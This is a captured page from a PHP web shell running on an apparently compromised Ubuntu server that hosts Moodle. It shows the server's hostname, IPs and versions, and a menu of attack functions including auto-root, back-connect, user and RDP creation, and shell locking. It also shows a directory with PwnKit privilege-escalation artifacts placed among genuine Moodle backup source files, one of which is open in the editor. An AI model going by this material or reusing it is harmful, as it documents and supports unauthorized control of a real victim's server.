Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
backup /
moodle2 /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxrwxr-x
.mad-root
0
B
-rw-r--r--
backup_activity_task.class.php
15.04
KB
-rw-rw-r--
backup_block_task.class.php
7.88
KB
-rw-rw-r--
backup_course_task.class.php
8.18
KB
-rw-rw-r--
backup_coursereport_plugin.cla...
1.31
KB
-rw-rw-r--
backup_custom_fields.php
11.15
KB
-rw-rw-r--
backup_default_block_task.clas...
1.65
KB
-rw-rw-r--
backup_enrol_plugin.class.php
1.26
KB
-rw-rw-r--
backup_final_task.class.php
8.19
KB
-rw-rw-r--
backup_format_plugin.class.php
1.81
KB
-rw-rw-r--
backup_gradingform_plugin.clas...
1.35
KB
-rw-rw-r--
backup_local_plugin.class.php
1.16
KB
-rw-rw-r--
backup_plagiarism_plugin.class...
1.65
KB
-rw-rw-r--
backup_plan_builder.class.php
7.95
KB
-rw-rw-r--
backup_plugin.class.php
3.45
KB
-rw-rw-r--
backup_qtype_extrafields_plugi...
3.29
KB
-rw-rw-r--
backup_qtype_plugin.class.php
8.02
KB
-rw-rw-r--
backup_report_plugin.class.php
1.27
KB
-rw-rw-r--
backup_root_task.class.php
8.19
KB
-rw-rw-r--
backup_section_task.class.php
6.33
KB
-rw-rw-r--
backup_settingslib.php
6.56
KB
-rw-rw-r--
backup_stepslib.php
102.84
KB
-rw-rw-r--
backup_subplugin.class.php
3.57
KB
-rw-rw-r--
backup_theme_plugin.class.php
3
KB
-rw-rw-r--
backup_tool_plugin.class.php
1.24
KB
-rw-rw-r--
backup_xml_transformer.class.p...
8.17
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
restore_activity_task.class.ph...
13.69
KB
-rw-rw-r--
restore_block_task.class.php
6.41
KB
-rw-rw-r--
restore_course_task.class.php
10.49
KB
-rw-rw-r--
restore_coursereport_plugin.cl...
1.05
KB
-rw-rw-r--
restore_default_block_task.cla...
1.7
KB
-rw-rw-r--
restore_enrol_plugin.class.php
1.26
KB
-rw-rw-r--
restore_final_task.class.php
10.23
KB
-rw-rw-r--
restore_format_plugin.class.ph...
1.29
KB
-rw-rw-r--
restore_gradingform_plugin.cla...
1.7
KB
-rw-rw-r--
restore_local_plugin.class.php
1.16
KB
-rw-rw-r--
restore_plagiarism_plugin.clas...
1.82
KB
-rw-rw-r--
restore_plan_builder.class.php
9.35
KB
-rw-rw-r--
restore_plugin.class.php
10.08
KB
-rw-rw-r--
restore_qtype_extrafields_plug...
4.3
KB
-rw-rw-r--
restore_qtype_plugin.class.php
15.78
KB
-rw-rw-r--
restore_report_plugin.class.ph...
1.02
KB
-rw-rw-r--
restore_root_task.class.php
14.48
KB
-rw-rw-r--
restore_section_task.class.php
7.31
KB
-rw-rw-r--
restore_settingslib.php
7.63
KB
-rw-rw-r--
restore_stepslib.php
232.37
KB
-rw-rw-r--
restore_subplugin.class.php
7.92
KB
-rw-rw-r--
restore_theme_plugin.class.php
1.04
KB
-rw-rw-r--
restore_tool_plugin.class.php
1.24
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restore_settingslib.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Defines classes used to handle restore settings * * @package core_backup * @subpackage moodle2 * @category backup * @copyright 2010 onwards Eloy Lafuente (stronk7) {@link http://stronk7.com} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); // TODO: Reduce these to the minimum because ui/dependencies are 100% separated // Root restore settings /** * root generic setting to store different things without dependencies */ class restore_generic_setting extends root_backup_setting {} /** * root setting to control if restore will create user information * A lot of other settings are dependent of this (module's user info, * grades user info, messages, blogs... */ class restore_users_setting extends restore_generic_setting {} /** * root setting to control if restore will create groups/grouping information. Depends on @restore_users_setting * * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @copyright 2014 Matt Sammarco */ class restore_groups_setting extends restore_generic_setting { } /** * root setting to control if restore will create role assignments * or no (any level), depends of @restore_users_setting */ class restore_role_assignments_setting extends root_backup_setting {} /** * root setting to control if restore will create activities * A lot of other settings (_included at activity levels) * are dependent of this setting */ class restore_activities_setting extends restore_generic_setting {} /** * root setting to control if restore will create * comments or no, depends of @restore_users_setting * exactly in the same way than @restore_role_assignments_setting so we extend from it */ class restore_comments_setting extends restore_role_assignments_setting {} /** * root setting to control if restore will create badges or not, * depends on @restore_activities_setting */ class restore_badges_setting extends restore_generic_setting {} /** * root setting to control if competencies will also be restored. */ class restore_competencies_setting extends restore_generic_setting { /** * restore_competencies_setting constructor. * @param bool $hascompetencies Flag whether to set the restore setting as checked and unlocked. */ public function __construct($hascompetencies) { $defaultvalue = false; $visibility = base_setting::HIDDEN; $status = base_setting::LOCKED_BY_CONFIG; if (\core_competency\api::is_enabled()) { $visibility = base_setting::VISIBLE; if ($hascompetencies) { $defaultvalue = true; $status = base_setting::NOT_LOCKED; } } parent::__construct('competencies', base_setting::IS_BOOLEAN, $defaultvalue, $visibility, $status); } } /** * root setting to control if restore will create * events or no, depends of @restore_users_setting * exactly in the same way than @restore_role_assignments_setting so we extend from it */ class restore_calendarevents_setting extends restore_role_assignments_setting {} /** * root setting to control if restore will create * completion info or no, depends of @restore_users_setting * exactly in the same way than @restore_role_assignments_setting so we extend from it */ class restore_userscompletion_setting extends restore_role_assignments_setting {} /** * root setting to control if restore will create * logs or no, depends of @restore_users_setting * exactly in the same way than @restore_role_assignments_setting so we extend from it */ class restore_logs_setting extends restore_role_assignments_setting {} /** * root setting to control if restore will create * grade_histories or no, depends of @restore_users_setting * exactly in the same way than @restore_role_assignments_setting so we extend from it */ class restore_grade_histories_setting extends restore_role_assignments_setting {} // Course restore settings /** * generic course setting to pass various settings between tasks and steps */ class restore_course_generic_setting extends course_backup_setting {} /** * Setting to define is we are going to overwrite course configuration */ class restore_course_overwrite_conf_setting extends restore_course_generic_setting {} /** * Setting to switch between current and new course name/startdate * * @copyright 2017 Marina Glancy * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class restore_course_defaultcustom_setting extends restore_course_generic_setting { /** * Validates that the value $value has type $vtype * @param int $vtype * @param mixed $value * @return mixed */ public function validate_value($vtype, $value) { if ($value === false) { // Value "false" means default and is allowed for this setting type even if it does not match $vtype. return $value; } return parent::validate_value($vtype, $value); } /** * Special method for this element only. When value is "false" returns the default value. * @return mixed */ public function get_normalized_value() { $value = $this->get_value(); if ($value === false && $this->get_ui() instanceof backup_setting_ui_defaultcustom) { $attributes = $this->get_ui()->get_attributes(); return $attributes['defaultvalue']; } return $value; } } class restore_course_generic_text_setting extends restore_course_generic_setting { public function __construct($name, $vtype, $value = null, $visibility = self::VISIBLE, $status = self::NOT_LOCKED) { parent::__construct($name, $vtype, $value, $visibility, $status); $this->set_ui(new backup_setting_ui_text($this, $name)); } } // Section restore settings /** * generic section setting to pass various settings between tasks and steps */ class restore_section_generic_setting extends section_backup_setting {} /** * Setting to define if one section is included or no. Activities _included * settings depend of them if available */ class restore_section_included_setting extends restore_section_generic_setting {} /** * section backup setting to control if section will include * user information or no, depends of @restore_users_setting */ class restore_section_userinfo_setting extends restore_section_generic_setting {} // Activity backup settings /** * generic activity setting to pass various settings between tasks and steps */ class restore_activity_generic_setting extends activity_backup_setting {} /** * activity backup setting to control if activity will * be included or no, depends of @restore_activities_setting and * optionally parent section included setting */ class restore_activity_included_setting extends restore_activity_generic_setting {} /** * activity backup setting to control if activity will include * user information or no, depends of @restore_users_setting */ class restore_activity_userinfo_setting extends restore_activity_generic_setting {}
Close